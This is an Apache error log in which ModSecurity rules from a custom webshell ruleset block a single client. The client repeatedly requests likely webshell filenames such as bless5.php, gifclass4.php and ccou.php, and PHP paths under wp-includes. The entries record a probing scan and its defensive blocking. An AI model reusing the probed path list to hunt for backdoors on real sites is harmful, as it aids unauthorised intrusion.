[Sun Mar 01 23:51:21.130273 2026] [:error] [pid 40750:tid 40767] [client 20.104.124.39:26969] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class.php"] [unique_id "aaRgeQfBuk03yQKDyquttQAAAc4"]
[Sun Mar 01 23:51:24.649463 2026] [:error] [pid 7165:tid 7189] [client 20.104.124.39:1735] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class.php"] [unique_id "aaRgfBRjCrA8qWBjgG_OzwAAAlY"]
[Sun Mar 01 23:51:28.292335 2026] [:error] [pid 38034:tid 38058] [client 20.104.124.39:1684] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class.php"] [unique_id "aaRggAxtfZjwlJok9K81oQAAARQ"]
[Sun Mar 01 23:51:31.077145 2026] [:error] [pid 44644:tid 44648] [client 20.104.124.39:1755] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/class.php"] [unique_id "aaRgg53RJaXMcw3y9V_usgAAAAE"]
[Sun Mar 01 23:51:34.753918 2026] [:error] [pid 33822:tid 33830] [client 20.104.124.39:26980] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bless5.php"] [unique_id "aaRghm6W3ygu1YVssuZH7QAAAoY"]
[Sun Mar 01 23:51:36.712950 2026] [:error] [pid 38241:tid 38266] [client 20.104.124.39:27005] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bless5.php"] [unique_id "aaRgiPKRPk6YnJBxw_xcRgAAANY"]
[Sun Mar 01 23:51:39.712081 2026] [:error] [pid 44644:tid 44655] [client 20.104.124.39:1718] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bless5.php"] [unique_id "aaRgi53RJaXMcw3y9V_uuQAAAAg"]
[Sun Mar 01 23:51:42.593751 2026] [proxy_fcgi:error] [pid 40750:tid 40760] [client 20.104.124.39:1747] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:51:42.799348 2026] [:error] [pid 40750:tid 40753] [client 20.104.124.39:1747] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aaRgjgfBuk03yQKDyquuBQAAAcA"]
[Sun Mar 01 23:51:48.386260 2026] [:error] [pid 7165:tid 7179] [client 20.104.124.39:1748] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aaRglBRjCrA8qWBjgG_PMQAAAkw"]
[Sun Mar 01 23:51:50.746043 2026] [proxy_fcgi:error] [pid 7133:tid 7148] [client 20.104.124.39:1709] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:51:50.956135 2026] [proxy_fcgi:error] [pid 7133:tid 7139] [client 20.104.124.39:1709] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:51:51.173853 2026] [proxy_fcgi:error] [pid 7133:tid 7152] [client 20.104.124.39:1709] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:51:51.383166 2026] [proxy_fcgi:error] [pid 7133:tid 7154] [client 20.104.124.39:1709] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:51:51.592669 2026] [proxy_fcgi:error] [pid 7133:tid 7149] [client 20.104.124.39:1709] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:51:51.833382 2026] [proxy_fcgi:error] [pid 7133:tid 7138] [client 20.104.124.39:1709] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:51:52.045963 2026] [proxy_fcgi:error] [pid 7133:tid 7146] [client 20.104.124.39:1709] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:51:52.256418 2026] [proxy_fcgi:error] [pid 7133:tid 7137] [client 20.104.124.39:1709] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:51:52.465779 2026] [proxy_fcgi:error] [pid 7133:tid 7148] [client 20.104.124.39:1709] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:51:53.144811 2026] [proxy_fcgi:error] [pid 7133:tid 7152] [client 20.104.124.39:1709] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:51:53.361124 2026] [:error] [pid 7133:tid 7159] [client 20.104.124.39:1709] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ar.php"] [unique_id "aaRgmfCtubh8pR64qB9_eAAAAFg"]
[Sun Mar 01 23:51:54.865317 2026] [:error] [pid 38241:tid 38245] [client 20.104.124.39:26968] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ar.php"] [unique_id "aaRgmvKRPk6YnJBxw_xcVgAAAME"]
[Sun Mar 01 23:51:56.374841 2026] [:error] [pid 41342:tid 41368] [client 20.104.124.39:1672] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ar.php"] [unique_id "aaRgnI4iJ6RAS5CatDlqFQAAAhc"]
[Sun Mar 01 23:51:58.640065 2026] [:error] [pid 40750:tid 40756] [client 20.104.124.39:26981] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ar.php"] [unique_id "aaRgngfBuk03yQKDyquuIgAAAcM"]
[Sun Mar 01 23:52:00.778140 2026] [:error] [pid 40750:tid 40761] [client 20.104.124.39:1731] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x.php"] [unique_id "aaRgoAfBuk03yQKDyquuNAAAAcg"]
[Sun Mar 01 23:52:03.287237 2026] [:error] [pid 40750:tid 40773] [client 20.104.124.39:26928] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x.php"] [unique_id "aaRgowfBuk03yQKDyquuOgAAAdQ"]
[Sun Mar 01 23:52:05.470060 2026] [:error] [pid 7133:tid 7137] [client 20.104.124.39:1744] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x.php"] [unique_id "aaRgpfCtubh8pR64qB9_kQAAAEI"]
[Sun Mar 01 23:52:07.081867 2026] [:error] [pid 38241:tid 38244] [client 20.104.124.39:27003] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/x.php"] [unique_id "aaRgp_KRPk6YnJBxw_xcYQAAAMA"]
[Sun Mar 01 23:52:08.166917 2026] [:error] [pid 37032:tid 37040] [client 20.104.124.39:26906] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xx.php"] [unique_id "aaRgqOu0U4o7eSImsVSXfQAAAYY"]
[Sun Mar 01 23:52:09.227347 2026] [:error] [pid 7133:tid 7142] [client 20.104.124.39:1675] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xx.php"] [unique_id "aaRgqfCtubh8pR64qB9_ngAAAEc"]
[Sun Mar 01 23:52:11.129375 2026] [:error] [pid 7133:tid 7158] [client 20.104.124.39:26449] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xx.php"] [unique_id "aaRgq_Ctubh8pR64qB9_rgAAAFc"]
[Sun Mar 01 23:52:13.287256 2026] [:error] [pid 7165:tid 7176] [client 20.104.124.39:1711] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xx.php"] [unique_id "aaRgrRRjCrA8qWBjgG_PdQAAAkk"]
[Sun Mar 01 23:52:15.419369 2026] [:error] [pid 40750:tid 40776] [client 20.104.124.39:26985] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass4.php"] [unique_id "aaRgrwfBuk03yQKDyquuRQAAAdc"]
[Sun Mar 01 23:52:18.130011 2026] [:error] [pid 40750:tid 40759] [client 20.104.124.39:1677] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass4.php"] [unique_id "aaRgsgfBuk03yQKDyquuTQAAAcY"]
[Sun Mar 01 23:52:20.883800 2026] [:error] [pid 41780:tid 41803] [client 20.104.124.39:1736] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass4.php"] [unique_id "aaRgtMONkVoocLIqzy05VAAAA9Q"]
[Sun Mar 01 23:52:28.084105 2026] [:error] [pid 38241:tid 38246] [client 20.104.124.39:26965] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gifclass4.php"] [unique_id "aaRgvPKRPk6YnJBxw_xcaQAAAMI"]
[Sun Mar 01 23:52:31.472600 2026] [:error] [pid 40750:tid 40762] [client 20.104.124.39:27004] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2clas.php"] [unique_id "aaRgvwfBuk03yQKDyquufQAAAck"]
[Sun Mar 01 23:52:35.056839 2026] [:error] [pid 38241:tid 38256] [client 20.104.124.39:26900] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2clas.php"] [unique_id "aaRgw_KRPk6YnJBxw_xcfwAAAMw"]
[Sun Mar 01 23:52:39.376326 2026] [:error] [pid 41342:tid 41365] [client 20.104.124.39:1670] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2clas.php"] [unique_id "aaRgx44iJ6RAS5CatDlqGwAAAhQ"]
[Sun Mar 01 23:52:40.101821 2026] [:error] [pid 38241:tid 38246] [client 20.104.124.39:1712] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/2clas.php"] [unique_id "aaRgyPKRPk6YnJBxw_xcjgAAAMI"]
[Sun Mar 01 23:52:42.166364 2026] [:error] [pid 40750:tid 40759] [client 20.104.124.39:1732] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ave.php"] [unique_id "aaRgygfBuk03yQKDyquulAAAAcY"]
[Sun Mar 01 23:52:44.311891 2026] [:error] [pid 38241:tid 38263] [client 20.104.124.39:26945] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ave.php"] [unique_id "aaRgzPKRPk6YnJBxw_xcmwAAANM"]
[Sun Mar 01 23:52:46.177009 2026] [:error] [pid 33822:tid 33824] [client 20.104.124.39:1779] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ave.php"] [unique_id "aaRgzm6W3ygu1YVssuZISAAAAoA"]
[Sun Mar 01 23:52:50.069063 2026] [:error] [pid 7165:tid 7168] [client 20.104.124.39:1783] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ave.php"] [unique_id "aaRg0hRjCrA8qWBjgG_PxgAAAkE"]
[Sun Mar 01 23:52:56.053221 2026] [proxy_fcgi:error] [pid 33822:tid 33836] [client 20.104.124.39:26957] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:52:56.264929 2026] [proxy_fcgi:error] [pid 33822:tid 33826] [client 20.104.124.39:26957] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:52:58.373184 2026] [proxy_fcgi:error] [pid 33822:tid 33825] [client 20.104.124.39:26957] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:52:58.598148 2026] [proxy_fcgi:error] [pid 33822:tid 33848] [client 20.104.124.39:26957] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:52:58.828777 2026] [proxy_fcgi:error] [pid 33822:tid 33832] [client 20.104.124.39:26957] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:52:59.036695 2026] [proxy_fcgi:error] [pid 33822:tid 33831] [client 20.104.124.39:26957] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:52:59.464169 2026] [proxy_fcgi:error] [pid 33822:tid 33834] [client 20.104.124.39:26957] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:52:59.673143 2026] [proxy_fcgi:error] [pid 33822:tid 33846] [client 20.104.124.39:26957] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:52:59.884092 2026] [proxy_fcgi:error] [pid 33822:tid 33840] [client 20.104.124.39:26957] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:53:00.099998 2026] [proxy_fcgi:error] [pid 33822:tid 33838] [client 20.104.124.39:26957] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:53:00.327165 2026] [:error] [pid 33822:tid 33837] [client 20.104.124.39:26957] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/la.php"] [unique_id "aaRg3G6W3ygu1YVssuZIZwAAAo0"]
[Sun Mar 01 23:53:07.680202 2026] [:error] [pid 38034:tid 38036] [client 20.104.124.39:1690] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/la.php"] [unique_id "aaRg4wxtfZjwlJok9K82WAAAAQA"]
[Sun Mar 01 23:53:10.193298 2026] [:error] [pid 40750:tid 40760] [client 20.104.124.39:26889] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/la.php"] [unique_id "aaRg5gfBuk03yQKDyquuuAAAAcc"]
[Sun Mar 01 23:53:18.994438 2026] [:error] [pid 37032:tid 37049] [client 20.104.124.39:1713] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bless11.php"] [unique_id "aaRg7uu0U4o7eSImsVSXigAAAY8"]
[Sun Mar 01 23:53:22.326472 2026] [:error] [pid 38241:tid 38248] [client 20.104.124.39:26881] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bless11.php"] [unique_id "aaRg8vKRPk6YnJBxw_xc9wAAAMQ"]
[Sun Mar 01 23:53:24.952499 2026] [:error] [pid 38241:tid 38257] [client 20.104.124.39:1775] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bless11.php"] [unique_id "aaRg9PKRPk6YnJBxw_xdBQAAAM0"]
[Sun Mar 01 23:53:27.934707 2026] [:error] [pid 7165:tid 7169] [client 20.104.124.39:1686] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bless11.php"] [unique_id "aaRg9xRjCrA8qWBjgG_QWAAAAkI"]
[Sun Mar 01 23:53:31.759473 2026] [:error] [pid 7133:tid 7149] [client 20.104.124.39:26455] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccou.php"] [unique_id "aaRg-_Ctubh8pR64qB9_7QAAAE4"]
[Sun Mar 01 23:53:35.363464 2026] [:error] [pid 7165:tid 7185] [client 20.104.124.39:1734] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccou.php"] [unique_id "aaRg_xRjCrA8qWBjgG_QoQAAAlI"]
[Sun Mar 01 23:53:39.297490 2026] [:error] [pid 7133:tid 7154] [client 20.104.124.39:1673] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccou.php"] [unique_id "aaRhA_Ctubh8pR64qB9_9wAAAFM"]
[Sun Mar 01 23:53:40.915843 2026] [:error] [pid 38241:tid 38253] [client 20.104.124.39:27000] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ccou.php"] [unique_id "aaRhBPKRPk6YnJBxw_xdPAAAAMk"]
[Sun Mar 01 23:53:46.507759 2026] [:error] [pid 7165:tid 7185] [client 20.104.124.39:1743] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ton.php"] [unique_id "aaRhChRjCrA8qWBjgG_QxQAAAlI"]
[Sun Mar 01 23:53:49.696757 2026] [:error] [pid 40750:tid 40775] [client 20.104.124.39:26897] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ton.php"] [unique_id "aaRhDQfBuk03yQKDyquvFAAAAdY"]
[Sun Mar 01 23:53:53.707657 2026] [:error] [pid 40750:tid 40771] [client 20.104.124.39:1704] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ton.php"] [unique_id "aaRhEQfBuk03yQKDyquvPQAAAdI"]
[Sun Mar 01 23:53:56.258104 2026] [:error] [pid 33822:tid 33836] [client 20.104.124.39:1788] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ton.php"] [unique_id "aaRhFG6W3ygu1YVssuZIhAAAAow"]
[Sun Mar 01 23:54:02.354721 2026] [proxy_fcgi:error] [pid 40750:tid 40776] [client 20.104.124.39:26997] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:54:02.564290 2026] [proxy_fcgi:error] [pid 40750:tid 40777] [client 20.104.124.39:26997] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:54:02.775212 2026] [proxy_fcgi:error] [pid 40750:tid 40766] [client 20.104.124.39:26997] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:54:02.988478 2026] [proxy_fcgi:error] [pid 40750:tid 40753] [client 20.104.124.39:26997] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:54:03.230273 2026] [proxy_fcgi:error] [pid 40750:tid 40769] [client 20.104.124.39:26997] AH01071: Got error 'Primary script unknown'
[Sun Mar 01 23:54:03.767541 2026] [proxy_fcgi:error] [pid 40750:tid 40772] [client 20.104.124.39:26997] AH01071: Got error 'Primary script unknown'
